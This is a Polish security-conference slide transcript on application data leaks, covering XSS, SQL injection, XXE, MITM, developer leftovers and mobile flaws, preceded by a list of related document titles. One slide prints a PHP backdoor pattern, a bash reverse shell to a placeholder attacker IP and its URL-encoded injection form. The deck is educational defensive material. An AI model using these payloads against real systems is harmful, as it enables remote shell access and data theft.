Wyciek danych w aplikacjach. Artur Michał Kalinowski a.kalinowski@logicaltrust.net



Podobne dokumenty
SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE..

z testów penetracyjnych

WINDOWS Instalacja serwera WWW na systemie Windows XP, 7, 8.

ZAŁĄCZNIK Nr 3 do CZĘŚCI II SIWZ

ZAŁĄCZNIK Nr 1 do CZĘŚCI II SIWZ

Złośliwe oprogramowanie Sandrorat (podszywające się pod oprogramowanie Kaspersky) na platformę Android WYNIKI ANALIZY

Diagnostyka komputera

1. Zakres modernizacji Active Directory

Zadanie 1 Treść zadania:

Program kadrowo płacowy - wersja wielodostępna z bazą danych Oracle SQL Server 8 lub 9

bla bla Guard podręcznik użytkownika

Instrukcja zarządzania systemem informatycznym służącym do przetwarzania danych osobowych w Urzędzie Miasta Lublin

Audyt w zakresie bezpieczeństwa informacji w Wojewódzkim Urzędzie Pracy w Lublinie

cat /agenda.txt /wybrane_fakty_i_mity grep zweryfikowane

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

- w firmie AGD, w komputerze używanym przez sekretarkę oraz trzech akwizytorów stwierdzono usterkę systemu komputerowego,

Informatyka Śledcza jako narzędzie zabezpieczania i analizy wrażliwych danych

Agenda. Quo vadis, security? Artur Maj, Prevenity

Komentarz technik teleinformatyk 312[02]-02 Czerwiec 2009

Sieci bezprzewodowe WiFi

Bezpieczeństwo systemów komputerowych

INSTRUKCJA OBSŁUGI DLA SIECI

Windows Serwer 2008 R2. Moduł 5. Zarządzanie plikami

- komputer (stacja robocza) ma być naprawiony i skonfigurowany w siedzibie firmy,

Polityka prywatności dla strony ELCEN Sp. z o.o. z siedzibą w Gdyni

ekopia w Chmurze bezpieczny, zdalny backup danych Instrukcja użytkownika dla klientów systemu mmedica

PROCEDURY ZARZĄDZANIA SYSTEMEM INFORMATYCZNYM

Opracowanie protokołu komunikacyjnego na potrzeby wymiany informacji w organizacji

Bezpieczeństwo aplikacji i urządzeń mobilnych w kontekście wymagań normy ISO/IEC oraz BS doświadczenia audytora

Biblioteki publiczne

Biblioteki publiczne

Odczyty 2.0 Spis treści

Zasady bezpiecznego korzystania z bankowości elektronicznej

MWS Mobile by CTI. Instrukcja

Pełna specyfikacja pakietów Mail Cloud

Komentarz technik teleinformatyk 312[02]-01 Czerwiec 2009

INSTALACJA I KONFIGURACJA Instalacja systemu WF-Mag Mobile 2

Zasady Wykorzystywania Plików Cookies

Snifery wbudowane w Microsoft Windows

- w związku ze stwierdzoną usterką właściciel firmy wezwał serwis komputerowy w celu jej zdiagnozowania i usunięcia,

S P I S T R E Ś C I. Instrukcja obsługi

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

Jednym z najważniejszych zagadnień, z którym może się zetknąć twórca

ZASADY KORZYSTANIA Z PLIKÓW COOKIES ORAZ POLITYKA PRYWATNOŚCI W SERWISIE INTERNETOWYM PawłowskiSPORT.pl

BEZPIECZEŃSTWO BANKOWOŚCI KORPORACYJNEJ

PHICS - Polish Harbours Information & Control System Dokumentacja użytkownika System weryfikacji autentyczności polskich dokumentów marynarzy

ekopia w Chmurze bezpieczny, zdalny backup danych

i częstotliwość tworzenia kopii, zasady sprawdzania obecności wirusów komputerowych oraz dokonywania przeglądów i konserwacji systemów.

KONFIGURACJA USŁUGI ZSIMED NA SERWERZE ZDALNYM

Wykaz zmian w programie WinAdmin Replikator

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Audytowane obszary IT

Polityka prywatności Spółdzielni Mieszkaniowej Słoneczny Stok

Projektowani Systemów Inf.

ZBIÓR DOBRYCH PRAKTYK KORZYSTANIA Z BANKOWOŚCI ELEKTRONICZNEJ

Polityka prywatności serwisów internetowych Narodowego Instytutu Architektury i Urbanistyki (NIAiU) i plików cookies

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

Analiza malware Remote Administration Tool (RAT) DarkComet

Dodawanie stron do zakładek

Dokumentacja SMS przez FTP

Pełna specyfikacja pakietów Mail Cloud

Analiza malware Keylogger ispy

Bezpieczeństwo IT w środowisku uczelni

BANK SPÓŁDZIELCZY PA-CO-BANK W PABIANICACH. Jak w bezpieczny i wygodny sposób korzystać z bankowości elektronicznej

Krajowe Sympozjum Telekomunikacji i Teleinformatyki KSTiT Autorzy: Tomasz Piotrowski Szczepan Wójcik Mikołaj Wiśniewski Wojciech Mazurczyk

Posiada (TAK / NIE. Zrzut ekranu. Opis funkcji

Konfiguracja współpracy urządzeń mobilnych (bonowników).

Aplikacja Novell Filr 2.0 Web Szybki start

2014 Electronics For Imaging. Informacje zawarte w niniejszej publikacji podlegają postanowieniom opisanym w dokumencie Uwagi prawne dotyczącym tego

KONFIGURACJA PRZEGLĄDAREK. Poniższa konfiguracja dedykowana jest dla Bankowości Internetowej SGB

AM_Student. Instrukcja konfiguracji połączenia do studenckiej sieci bezprzewodowej Akademii Morskiej w Szczecinie

POLITYKA PRYWATNOŚCI TRANSMISJEONLINE

Wysyłanie pliku na serwer. Plik na serwerze.

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Klient poczty elektronicznej - Thunderbird

Synchroniczne wprowadzanie kontrahentów - SWK Moduł VBA do Symfonia FK Forte.

Forte Zarządzanie Produkcją Instalacja i konfiguracja. Wersja B

P R O C E D U R A P O D Ł Ą C Z E N I A S Y S T E M U D Z I E D Z I N O W E G O D O C S I Z S

Konfiguracja poczty IMO dla urządzeń mobilnych z systemem ios oraz Android.

Zadanie1: Odszukaj w serwisie internetowym Wikipedii informacje na temat protokołu http.

Dodawanie stron do zakładek

E-commerce. Genialnie proste tworzenie serwisów w PHP i MySQL.

SMB protokół udostępniania plików i drukarek

KORZYSTANIE Z BAZY DANYCH UpToDate

Najczęściej występujące problemy z instalacją i konfiguracją i ich rozwiązania.

Specyfikacja audytu informatycznego Urzędu Miasta Lubań

Przewodnik Google Cloud Print

POLITYKA BEZPIECZEŃSTWA w zakresie ochrony danych osobowych w ramach serwisu zgloszenia24.pl

Analiza możliwości złośliwego oprogramowania vjw0rm w kampanii phishingowej PayU

Instrukcja użytkownika

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

Telnet. Telnet jest najstarszą i najbardziej elementarną usługą internetową.

Skonfigurowanie usług katalogowych Active Directory (AD)

Pełna specyfikacja pakietów Mail Cloud

Szczegółowa specyfikacja funkcjonalności zamawianego oprogramowania.

POLITYKA PRYWATNOŚCI

Problemy techniczne. Jak umieszczać pliki na serwerze FTP?

Komentarz technik teleinformatyk 312[02]-06 Czerwiec 2009

Transkrypt:

Wyciek danych w aplikacjach Artur Michał Kalinowski a.kalinowski@logicaltrust.net

Bio Artur Michał Kalinowski (amk78) pentester w LogicalTrust wcześniej pentester, administrator, programista,... wykładowca (informatyka śledcza, bezpieczeństwo IT ) współpraca z { gov } w zakresie informatyki śledczej i bezpieczeństwa IT członek zespołu administracyjnego na forum związanym z bezpieczeństwem IT autor książki Metody inwigilacji i elementy informatyki śledczej

Testy penetracyjne Audyty bezpieczeństwa Szkolenia Konsultacje Informatyka śledcza Aplikacje mobilne > 10 lat - testy bezpieczeństwa Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach www.securityinside.pl Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study, Internet Banking Security, ISSA, SecureCON, SEConference, SekIT, PTI, Open Source Security, PLNOG ( )

Wyciek danych Źródło: http://swagct.com/uploads/2012/03/1_1332498132.jpg Źródło: http://www.redorbit.com/media/uploads/2013/09/dataleaks.jpg-2016-03-31 Źródło: Google

Wyciek danych Źródło: http://www.observeit.com/sites/default/files/content_images/blog_images/data-leak1.jpg Czym jest wyciek danych i z czego często wynika niewiedza, brak motywacji, brak polityk, wzorców, zasad niewłaściwe środowisko, konfiguracja, brak odpowiednich rozwiązań presja czasu, budżet (przesunięcia, cięcia, ograniczenia) chęć zemsty, sławy

Wyciek danych Wycieki danych przypadkowe / niezamierzone (np. na skutek błędów) celowe (np. pozostawione celowo luki) prowokowane (np. celowe doprowadzenie do wycieku poprzez zainicjowanie odpowiednich działań) Źródło: http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/bitcoin2-696x398.png

Wyciek danych $_GET['a']($_GET['b']); np. system("cat /etc/passwd"); Niektóre wycieki danych mogą być wynikiem celowo pozostawionych furtek.

Wyciek danych Reverse shell z użyciem basha: bash -i >& /dev/tcp/ip_atakujacego/443 0>&1 tworzymy odpowiedni plik po stronie serwera, który następnie uruchamiamy: echo "/bin/bash -i >& /dev/tcp/ip_atakujacego/443 0>&1" > b && /bin/bash b pamiętamy o odpowiednim kodowaniu: php -r "echo urlencode('echo \"/bin/bash -i >& /dev/tcp/ip_atakujacego/443 0>&1\" > b && /bin/bash b');" echo+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp %2FIP_ATAKUJACEGO%2F443+0%3E%261%22+%3E+b+%26%26+ %2Fbin%2Fbash+b

Wyciek danych umieszczamy dane w URLu... w efekcie serwer łączy się z nami i uzyskujemy dostęp do wiersza poleceń:

Wyciek danych Częste przyczyny i źródła wycieku danych przykład pozyskanie IP z sieci wewnętrznej 1) zmiana wersji protokołu z HTTP/1.1 na HTTP/1.0 2) usunięcie pola host z nagłówka żądania w efekcie: atakujący zna IP serwera atakujący zna adresację w sieci, w której znajduje się serwer proste wykorzystanie: img z adresem z ujawnionej puli + /icons/right.gif zdarzenie onload lub onerror wysłanie linka do spreparowanej strony użytkownikowi w firmie

Wyciek danych W efekcie uzyskujemy adresy IP z sieci wewnętrznej, na których uruchomiony jest, z dużym prawdopodobieństwem, serwer Apache. Analogicznie, na podstawie charakterystycznych lokalizacji zasobów, można zidentyfikować również obecność innych aplikacji w sieci lokalnej.

Wyciek danych Częste przyczyny i źródła wycieku danych system m.in. : niewłaściwa konfiguracja (np. dostępu, aktualizacji, ochrony danych, wpad), zrzuty pamięci (np. w wyniku błędów bądź inicjowane przez użytkownika) system plików: pliki tymczasowe pliki wymiany, hibernacji metadane usunięte pliki slack space Źródło:http://osheaven.net/wp-content/uploads/2011/07/data-security.jpg

Wyciek danych WPAD

Wyciek danych zrzut pamięci procesu (procdump + strings + find)

Wyciek danych analiza zrzutu pamięci RAM - Volatility

Wyciek danych pozyskiwanie danych z pagefile.sys (foremost)

Wyciek danych Process Monitor jest jak drogowskaz :)

Wyciek danych Jeżeli współdzielimy komputer, to po naszym wylogowaniu inni nadal się mogą o nas sporo dowiedzieć! choć nie wszystkim byśmy się chcieli chwalić :) /flushdns!!!

Wyciek danych Częste przyczyny i źródła wycieku danych usługi: banery, dane w nagłówkach odpowiedzi, informacje o systemie i komponentach, komunikaty o błędach, znane zasoby, pliki konfiguracyjne (w tym też.htaccess, robots.txt, a czasem nawet.bash_history).csv,.svn,.git, /server-status, /status, VRFY

Wyciek danych Częste przyczyny i źródła wycieku danych W przykładzie wykorzystano apache.org. W celu zobrazowania ewentualnego wycieku danych użyto fikcyjnych parametrów.

Wyciek danych Częste przyczyny i źródła wycieku danych

Wyciek danych Częste przyczyny i źródła wycieku danych aplikacje m.in. : pliki konfiguracyjne, includowane, intuicyjne nazwy zasobów, walidacja jedynie po stronie UI, niewłaściwe filtrowanie potencjalnie szkodliwego kodu, poleganie na danych wejściowych z niezaufanych źródeł, niewłaściwa obsługa uploadu plików, brak weryfikacji integralności plików danych lub konfiguracji, brak zaciemniania kodu, niewłaściwe miejsca składowania danych, logowanie danych wrażliwych, metadane...

Wyciek danych Efekt: błędy, stare pliki, listowanie katalogów... Źródło: Google

Wyciek danych Efekt: metadane Źródło: Google

Wyciek danych Efekt: wyciek danych logowania

Wyciek danych Efekt: wyciek danych logowania

Wyciek danych Częste przyczyny i źródła wycieku danych dane: backupy (w tym niewłaściwa polityka składowania, przesyłu, usuwania) statystyki, logi, dane przykładowe/testowe pliki z metadanymi (dokumenty, grafika) użytkownicy: wklejenie danych ze schowka, użycie podobnych haseł, omyłkowe użycie haseł, przesłanie danych (np. chęć pomocy, pokazania czegoś ciekawego) przesłanie danych w złe miejsce (np. wydruk), pozostawienie wydruku, niewłaściwe zniszczenie danych (np. wyrzucenie do kosza błędnie/częściowo wydrukowanych dokumentów)

Błędne założenia projektowe Brak uwzględnienia kwestii bezpieczeństwa Niewłaściwa walidacja danych Niewłaściwa ochrona komunikacji Niewłaściwe składowanie danych Niewłaściwe zarządzanie uprawnieniami Niewłaściwe oczyszczanie danych... Źródło: http://i.imgur.com/gluncro.jpg

Błędne założenia projektowe Źródło: https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636

Błędne założenia projektowe

Błędne założenia projektowe

Typowe błędy, które niosą poważne konsekwencje XSS Niewłaściwie oczyszczane dane wejściowe umożliwiają osadzenie własnego kodu, a przez to przejęcie kontroli nad treścią wyświetlanej strony. śledzenie działań użytkownika dostęp do treści przeznaczonej dla danego użytkownika (w tym informacji wrażliwych) możliwość modyfikacji treści (manipulacji danymi, osadzenia szkodliwych treści np. plików) przekierowanie na fałszywą stronę (phishing)

Typowe błędy, które niosą poważne konsekwencje XSS pozyskanie hasła

Typowe błędy, które niosą poważne konsekwencje XSS w połączeniu z Metasploitem

Typowe błędy, które niosą poważne konsekwencje SQLi Często widoczne fragmenty zapytań bądź nawet danych. Informacje o błędach ujawniające rodzaj stosowanego rozwiązania, charakterystyczne zachowanie, opóźnienia czasowe itp. pozyskanie informacji o środowisku pozyskanie informacji o użytkownikach pozyskanie danych z bazy manipulacja danymi (np. zmiana sald) dodanie użytkownika do systemu podwyższenie uprawnień użytkowników dostęp do plików umieszczenie złośliwych skryptów, dostęp do konsoli

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje SQLi to nie tylko strony internetowe. *dane i nazwy przykładowe, ewentualna zbieżność z rzeczywistymi danymi przypadkowa

Typowe błędy, które niosą poważne konsekwencje Wyciśnijmy z aplikacji 150% normy :)

Typowe błędy, które niosą poważne konsekwencje MITM + MSSQL spoofing (jeżeli aplikacja nie weryfikuje tożsamości serwera)

Typowe błędy, które niosą poważne konsekwencje XXE Pozyskanie danych z systemu; plików konfiguracyjnych, listy użytkowników, danych o środowisku... zakłócenie pracy aplikacji (DoS) pozyskanie kodu źródłowego np..php, w tym ujawnienie danych dostępowych do baz itp....

Typowe błędy, które niosą poważne konsekwencje XXE pozyskanie listy użytkowników systemu

Typowe błędy, które niosą poważne konsekwencje XXE odczyt plików.php (najpierw szukamy...)

Typowe błędy, które niosą poważne konsekwencje XXE odczytanie zawartości pliku php

Typowe błędy, które niosą poważne konsekwencje Brak szyfrowania danych nieuprawniony dostęp do informacji i jej ujawnienie pozyskanie danych uwierzytelniających działania w imieniu uprawnionego użytkownika manipulacja przesyłanymi danymi zakłócenie pracy aplikacji...

Typowe błędy, które niosą poważne konsekwencje MITM - pozyskanie przesyłanych danych

Typowe błędy, które niosą poważne konsekwencje Wykorzystanie przewidywalnych wartości Brak zaciemnienia kodu Odsyłanie informacji o błędach Użycie niewłaściwych funkcji Niewłaściwe wytwarzanie oprogramowania możliwe debugowanie, brak ochrony stosu, pozostawianie dokumentacji roboczej i informacji o błędach w publicznym miejscu, wykorzystanie gotowego kodu z innych aplikacji bez uwzględniania specyfikacji obecnych wymagań,...

Typowe błędy, które niosą poważne konsekwencje

Pozostałości developerskie odwołania do środowiska developerskiego w kodzie zasoby testowe, konsole testowe/developerskie konta testowe informacje logowane w konsoli flagi/parametry umożliwiające uwierzytelnienie funkcje resetowania ustawień, instalatory zasoby związane z rozwojem aplikacji (repozytoria plików, historia zmian, zadania do wykonania, dokumentacja projektowa/testowa) pliki tymczasowe, kopie, stare wersje plików zrzuty pustych baz (struktur) lub stanów początkowych zdalny dostęp, aktywne dodatkowe usługi niewyczyszczone logi oraz dane testowe

Pozostałości developerskie

Pozostałości developerskie

Komentarze szczegółowe opisy kodu (np. parametrów funkcji) ułatwia atakującemu analizę aplikacji i szukanie luk opisy planowanych funkcjonalności (np. tu będzie dodatkowe pole komentarza ) ciekawe czy jest już to po stronie serwera obsługiwane? opisy problemów (np. tu coś się psuło, więc trzeba było wyłączyć ) czy wyłączone tylko w UI, czy po stronie serwera też wyłączona obsługa? coś się psuje dobry trop! zakomentowane fragmenty funkcji oznacza, że z jakiegoś powodu funkcje zostały wyłączone z jakiego?, może coś nie działało jak trzeba? ToDo (np. zrobić walidację, ograniczyć zakres, ograniczyć uprawnienia ) dobrze wiedzieć co nie działa :)

Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki Podejście atakującego wykorzystać siłę i zasoby przeciwnika przeciwko niemu przykład w firmie stosowane są hasła, które muszą: mieć przynajmniej 12 znaków zawierać zarówno małe jak i wielkie litery zawierać cyfry zawierać znaki specjalne co robi atakujący: przeszukuje zasoby pamięci/danych np. z użyciem np. strings + grep i szuka ciągów, które zawierają jednocześnie: duże i małe litery, cyfry, znaki specjalne i mają przynajmniej 12 znaków dzięki temu znacznie ogranicza zbiór potencjalnych haseł np. z kilkudziesięciu/kilkuset MB (wielkość zrzutu procesu), do około kilku KB (np. 100 możliwych ciągów), które odpowiadają wzorcowi przyjętemu dla hasła atak wymaga jedynie sprawdzenia niewielkiej ilości potencjalnych haseł

Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki Podejście atakującego wykorzystać siłę i zasoby przeciwnika przeciwko niemu przykład 2 w firmie hasła do systemów i aplikacji są zmieniane co 30 dni: jest wielu użytkowników użytkownicy mają dostęp do wielu systemów/aplikacji muszą się codziennie wiele razy logować jakie wnioski można z tego wyciągnąć atakujący: hasła do systemów i aplikacji będą podobne użytkownicy użyją schematów np. będą tworzyć hasła w oparciu o miesiące lub wybrane słowo i kolejne dni pozyskanie hasła do jednej z aplikacji otwiera furtkę do innych

Aplikacje mobilne a bezpieczeństwo Częste błędy: brak zabezpieczeń kryptograficznych dla istotnych danych wrażliwe informacje zapisywane do logów brak weryfikacji certyfikatów dane zapisywane na karcie SD zła randomizacja brak zaciemnienia kodu osadzanie haseł i innych wrażliwych danych w aplikacji api mobilne mniej restrykcyjne w stosunku do restrykcji w przypadku stron WWW

Aplikacje mobilne a bezpieczeństwo

Aplikacje mobilne a bezpieczeństwo

Podsumowanie nawet pozornie nieszkodliwe informacje mogą być cenną wskazówką dla atakującego jeżeli jakieś dane wyciekną do Internetu, to najprawdopodobniej zostaną powielone n razy w x miejscach atakujący często może pozyskać dużo istotnych danych pasywnie - bez nawiązywania połączenia z naszymi serwerami/siecią nigdy nie należy zakładać, że atakujący użyje aplikacji zgodnie z jej przeznaczeniem i w spodziewanym środowisku wycieki informacji/danych są zaproszeniem dla atakującego i często prowadzą do przykrych konsekwencji wycieki mogą powstawać w najmniej spodziewanych miejscach, często przez roztargnienie, niedopatrzenie, niewiedzę fałszywy, kontrolowany wyciek może być ciekawą bronią

Dziękuję za uwagę Pytania? Prezentowany materiał przeznaczony wyłącznie do celów edukacyjnych. Wszelkie nazwy, zdjęcia, znaki firmowe i towarowe niebędące własnością prelegenta oraz firmy, należą do ich właścicieli i zostały użyte jedynie w celach informacyjnych.